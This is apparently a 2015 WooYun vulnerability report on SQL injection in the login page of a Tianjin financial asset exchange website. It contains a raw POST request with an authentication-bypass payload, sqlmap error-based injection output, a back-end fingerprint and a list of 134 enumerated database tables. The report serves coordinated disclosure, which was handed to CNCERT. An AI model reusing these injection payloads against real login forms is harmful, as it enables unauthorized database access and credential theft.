当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0150515

漏洞标题：天津金融资产交易所某站sql注入漏洞

相关厂商：天津金融资产交易所

漏洞作者： onpu

提交时间：2015-10-31 23:53

修复时间：2015-12-19 14:34

公开时间：2015-12-19 14:34

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-31： 细节已通知厂商并且等待厂商处理中
2015-11-04： 厂商已经确认，细节仅向厂商公开
2015-11-14： 细节向核心白帽子及相关领域专家公开
2015-11-24： 细节向普通白帽子公开
2015-12-04： 细节向实习白帽子公开
2015-12-19： 细节向公众公开

简要描述：

天津金融资产交易所某站sql注入漏洞

详细说明：

后台存在SQL漏洞，134张表，SA权限，可列出并破解数据库用户的hash
注入地址：

POST /Login.aspx HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://**.**.**.**/Login.aspx
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 436
__LASTFOCUS=&__EVENTTARGET=txtUserName&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKLTQyOTYwODY3Nw9kFgICAQ9kFgQCAQ8PFgIeBFRleHQFASdkZAIHDw8WAh8ABR7nmbvlvZXlkI3miJblr4bnoIHkuI3mraPnoa7vvIFkZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUJaWJ0bkxvZ0luDn2ZN3vSlWPQi3pJB31Lq75HA40%3D&txtUserName=%27or%27%3D%27or%27&txtPassWord=1&ibtnLogIn.x=33&ibtnLogIn.y=6&__EVENTVALIDATION=%2FwEWBALS0PSPBwKl1bKzCQK1qbSWCwKBo5TKDiRy4XUvJXGk8eyNBaooo9d8phlb

漏洞证明：

Parameter: txtUserName (POST)
    Type: error-based
    Title: Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause
    Payload: __LASTFOCUS=&__EVENTTARGET=txtUserName&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwUKLTQyOTYwODY3Nw9kFgICAQ9kFgQCAQ8PFgIeBFRleHQFhRBTeXN0ZW0uRGF0YS5TcWxDbGllbnQuU3FsRXhjZXB0aW9uOiDlnKjlhbPplK7lrZcgJ29yJyDpmYTov5HmnInor63ms5XplJnor6/jgIINCiAgIOWcqCBTeXN0ZW0uRGF0YS5TcWxDbGllbnQuU3FsQ29ubmVjdGlvbi5PbkVycm9yKFNxbEV4Y2VwdGlvbiBleGNlcHRpb24sIEJvb2xlYW4gYnJlYWtDb25uZWN0aW9uKQ0KICAg5ZyoIFN5c3RlbS5EYXRhLlNxbENsaWVudC5TcWxJbnRlcm5hbENvbm5lY3Rpb24uT25FcnJvcihTcWxFeGNlcHRpb24gZXhjZXB0aW9uLCBCb29sZWFuIGJyZWFrQ29ubmVjdGlvbikNCiAgIOWcqCBTeXN0ZW0uRGF0YS5TcWxDbGllbnQuVGRzUGFyc2VyLlRocm93RXhjZXB0aW9uQW5kV2FybmluZyhUZHNQYXJzZXJTdGF0ZU9iamVjdCBzdGF0ZU9iaikNCiAgIOWcqCBTeXN0ZW0uRGF0YS5TcWxDbGllbnQuVGRzUGFyc2VyLlJ1bihSdW5CZWhhdmlvciBydW5CZWhhdmlvciwgU3FsQ29tbWFuZCBjbWRIYW5kbGVyLCBTcWxEYXRhUmVhZGVyIGRhdGFTdHJlYW0sIEJ1bGtDb3B5U2ltcGxlUmVzdWx0U2V0IGJ1bGtDb3B5SGFuZGxlciwgVGRzUGFyc2VyU3RhdGVPYmplY3Qgc3RhdGVPYmopDQogICDlnKggU3lzdGVtLkRhdGEuU3FsQ2xpZW50LlNxbERhdGFSZWFkZXIuQ29uc3VtZU1ldGFEYXRhKCkNCiAgIOWcqCBTeXN0ZW0uRGF0YS5TcWxDbGllbnQuU3FsRGF0YVJlYWRlci5nZXRfTWV0YURhdGEoKQ0KICAg5ZyoIFN5c3RlbS5EYXRhLlNxbENsaWVudC5TcWxDb21tYW5kLkZpbmlzaEV4ZWN1dGVSZWFkZXIoU3FsRGF0YVJlYWRlciBkcywgUnVuQmVoYXZpb3IgcnVuQmVoYXZpb3IsIFN0cmluZyByZXNldE9wdGlvbnNTdHJpbmcpDQogICDlnKggU3lzdGVtLkRhdGEuU3FsQ2xpZW50LlNxbENvbW1hbmQuUnVuRXhlY3V0ZVJlYWRlclRkcyhDb21tYW5kQmVoYXZpb3IgY21kQmVoYXZpb3IsIFJ1bkJlaGF2aW9yIHJ1bkJlaGF2aW9yLCBCb29sZWFuIHJldHVyblN0cmVhbSwgQm9vbGVhbiBhc3luYykNCiAgIOWcqCBTeXN0ZW0uRGF0YS5TcWxDbGllbnQuU3FsQ29tbWFuZC5SdW5FeGVjdXRlUmVhZGVyKENvbW1hbmRCZWhhdmlvciBjbWRCZWhhdmlvciwgUnVuQmVoYXZpb3IgcnVuQmVoYXZpb3IsIEJvb2xlYW4gcmV0dXJuU3RyZWFtLCBTdHJpbmcgbWV0aG9kLCBEYkFzeW5jUmVzdWx0IHJlc3VsdCkNCiAgIOWcqCBTeXN0ZW0uRGF0YS5TcWxDbGllbnQuU3FsQ29tbWFuZC5SdW5FeGVjdXRlUmVhZGVyKENvbW1hbmRCZWhhdmlvciBjbWRCZWhhdmlvciwgUnVuQmVoYXZpb3IgcnVuQmVoYXZpb3IsIEJvb2xlYW4gcmV0dXJuU3RyZWFtLCBTdHJpbmcgbWV0aG9kKQ0KICAg5ZyoIFN5c3RlbS5EYXRhLlNxbENsaWVudC5TcWxDb21tYW5kLkV4ZWN1dGVSZWFkZXIoQ29tbWFuZEJlaGF2aW9yIGJlaGF2aW9yLCBTdHJpbmcgbWV0aG9kKQ0KICAg5ZyoIFN5c3RlbS5EYXRhLlNxbENsaWVudC5TcWxDb21tYW5kLkV4ZWN1dGVEYkRhdGFSZWFkZXIoQ29tbWFuZEJlaGF2aW9yIGJlaGF2aW9yKQ0KICAg5ZyoIFN5c3RlbS5EYXRhLkNvbW1vbi5EYkNvbW1hbmQuU3lzdGVtLkRhdGEuSURiQ29tbWFuZC5FeGVjdXRlUmVhZGVyKENvbW1hbmRCZWhhdmlvciBiZWhhdmlvcikNCiAgIOWcqCBTeXN0ZW0uRGF0YS5Db21tb24uRGJEYXRhQWRhcHRlci5GaWxsSW50ZXJuYWwoRGF0YVNldCBkYXRhc2V0LCBEYXRhVGFibGVbXSBkYXRhdGFibGVzLCBJbnQzMiBzdGFydFJlY29yZCwgSW50MzIgbWF4UmVjb3JkcywgU3RyaW5nIHNyY1RhYmxlLCBJRGJDb21tYW5kIGNvbW1hbmQsIENvbW1hbmRCZWhhdmlvciBiZWhhdmlvcikNCiAgIOWcqCBTeXN0ZW0uRGF0YS5Db21tb24uRGJEYXRhQWRhcHRlci5GaWxsKERhdGFTZXQgZGF0YVNldCwgSW50MzIgc3RhcnRSZWNvcmQsIEludDMyIG1heFJlY29yZHMsIFN0cmluZyBzcmNUYWJsZSwgSURiQ29tbWFuZCBjb21tYW5kLCBDb21tYW5kQmVoYXZpb3IgYmVoYXZpb3IpDQogICDlnKggU3lzdGVtLkRhdGEuQ29tbW9uLkRiRGF0YUFkYXB0ZXIuRmlsbChEYXRhU2V0IGRhdGFTZXQpDQogICDlnKggREFMLlVzZXJMb2dpbi5HZXRVc2VyTmFtZShTdHJpbmcgVXNlck5hbWUpZGQCBw8PFgIfAAUe55m75b2V5ZCN5oiW5a+G56CB5LiN5q2j56Gu77yBZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFCWlidG5Mb2dJbrxwE7sphNdEvH2/dpGa61pKXALf&txtUserName=-8832') OR 4454=CONVERT(INT,(SELECT CHAR(113)+CHAR(120)+CHAR(107)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (4454=4454) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(107)+CHAR(113))) AND ('VYtM'='VYtM&txtPassWord=1&ibtnLogIn.x=33&ibtnLogIn.y=6&__EVENTVALIDATION=/wEWBAKtqufXDAKl1bKzCQK1qbSWCwKBo5TKDuoowWxv3lzjCrWavsEoT32Xg+0X
    Vector: OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
Database: nprtcm


134张表：

Database: nprtcm
[134 tables]
+----------------------------+
| A_HangCancel               |
| A_HangTimeRenew            |
| A_HangtimeLimit            |
| A_HangupAgain              |
| A_ModifyInformation        |
| A_PayeeChange              |
| A_ScarcityRegistApply      |
| CR_CalculateColumn         |
| CR_Column                  |
| CR_GroupbyCondition        |
| CR_JoinTableCondition      |
| CR_OrderbyCondition        |
| CR_Report                  |
| CR_UsedColumn              |
| CR_UsedView                |
| CR_View                    |
| CR_WhereCause              |
| C_AuctionChange            |
| C_HouseChange              |
| C_Investment               |
| C_PracticalityChange       |
| C_PropertyChange           |
| C_Purchase                 |
| C_StockChange              |
| C_TechnologyChange         |
| D_PracticalityTransfer     |
| D_PracticalityTransfer$    |
| D_PropertyTransfer         |
| D_StockPropertyTransfer    |
| D_TechnologyTransfer       |
| G_GranteeName              |
| G_ManageProperty           |
| G_PracticalityTransfer     |
| G_PropertyTransfer         |
| G_StockPropertyTransfer    |
| G_TechnologyTransfer       |
| M_Associator               |
| M_AssociatorAuditing       |
| PropertyItemDetail         |
| R_AgreementStatistic       |
| R_AppraiseStatistic        |
| R_HangGrantee              |
| R_HangStatistic            |
| ReportForBar               |
| S_AppraiseTitle            |
| S_Area                     |
| S_AssociatorKind           |
| S_Category                 |
| S_Certificate              |
| S_ClassKind                |
| S_CodeLength               |
| S_Country                  |
| S_Currency                 |
| S_Department               |
| S_District                 |
| S_DocumentDetail           |
| S_Documents                |
| S_EconomyKind              |
| S_FlowCourse               |
| S_FlowDetail               |
| S_GlebeKind                |
| S_Headship                 |
| S_Industry                 |
| S_Industry$                |
| S_ItemPhase                |
| S_Local                    |
| S_Log                      |
| S_Market                   |
| S_Message                  |
| S_Module                   |
| S_MonitorUser              |
| S_NetUser                  |
| S_NetUserKind              |
| S_NorthMarketUser          |
| S_NorthUserCode            |
| S_Popedom_Dep              |
| S_Popedom_User             |
| S_PrintDocument            |
| S_Prompt                   |
| S_PropertyKind             |
| S_PropertyTransferKind     |
| S_Table                    |
| S_TechnologyTransferKind   |
| S_Time                     |
| S_User                     |
| S_UserKind                 |
| S_Vocation                 |
| T_AppraiseAuditing         |
| T_BalanceInAudit           |
| T_BalanceOutAudit          |
| T_BalanceSheet             |
| T_CommissionProtocol       |
| T_DocumentsList            |
| T_MostlyConstruction       |
| T_MostlyEquipment          |
| T_PracticalityTransfer     |
| T_PropertyTransfer         |
| T_StockPropertyTransfer    |
| T_TechnologyTransfer       |
| T_TradeContract            |
| T_TradeUnit                |
| T_TransferRequest          |
| T_TransferWorthiness       |
| dtproperties               |
| syncobj_0x3032383843333645 |
| syncobj_0x3043303532324146 |
| syncobj_0x3135333030313945 |
| syncobj_0x3142413734303633 |
| syncobj_0x3232363239443035 |
| syncobj_0x3244343138333831 |
| syncobj_0x3245313837383944 |
| syncobj_0x3337373031383743 |
| syncobj_0x3434304131453641 |
| syncobj_0x3636453544393942 |
| syncobj_0x3638384242463443 |
| syncobj_0x3735424546303741 |
| syncobj_0x3741313135393430 |
| syncobj_0x3838343042463333 |
| syncobj_0x3845324235423544 |
| syncobj_0x3937344635443938 |
| syncobj_0x3939374136304631 |
| syncobj_0x3942333443323036 |
| syncobj_0x4135324146323133 |
| syncobj_0x4136443133463835 |
| syncobj_0x4232313330363446 |
| syncobj_0x4330324334464142 |
| syncobj_0x4330393745354236 |
| syncobj_0x4331394342383041 |
| syncobj_0x4436314534343635 |
| syncobj_0x4541324344384143 |
| syncobj_0x4544463641343335 |
| syncobj_0x4630333630313041 |
| sysconstraints             |
| syssegments                |
+----------------------------+


点到为止

修复方案：

过滤

版权声明：转载请注明来源 onpu@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-11-04 14:33

厂商回复：

CNVD确认并复现所述漏洞情况，已经转由CNCERT下发对应分中心，由其后续协调网站管理单位处置。

最新状态：

暂无